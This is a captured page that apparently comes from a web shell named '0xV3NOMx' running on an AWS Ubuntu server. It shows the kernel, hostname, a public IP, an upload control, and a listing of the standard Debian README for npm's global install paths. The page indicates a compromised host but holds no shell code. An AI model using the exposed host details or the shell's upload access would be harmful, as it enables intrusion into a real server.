0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.145.84.128


Current Path : /usr/share/doc/npm/
Upload File :
Current File : //usr/share/doc/npm/README.Debian

npm for Debian
==============

nodejs Debian package provides /usr/bin/nodejs
----------------------------------------------

Modules installed by npm can ship executables.
These executables depend on /usr/bin/node, which is
provided by the nodejs-legacy Debian package.

More information:
/usr/share/doc/nodejs/README.Debian


global mode npm
---------------

When run in global mode, npm is configured like this :

	prefix=/usr/local
	globalconfig=/etc/npmrc
	globalignorefile=/etc/npmignore

That means npm -g install mymodule will be installed in :

	/usr/local/lib/node_modules/

If mymodule installs executables, they go to :

	/usr/local/bin

And man pages to

	/usr/local/share/man

Please read npm-config(1), npm-folders(1) and npm-link(1) man pages.

This global configuration is kept across a global self update of npm.
It is not guaranteed it will stay like this, so it's safer to update
npm debian package instead.


do not confuse with /usr/lib/nodejs
-----------------------------------

/usr/lib/nodejs directory is reserved for modules that are provided by a
debian package.


 -- Jérémy Lal <kapouer@melix.org>  Fri, 28 Jan 2011 00:33:28 +0200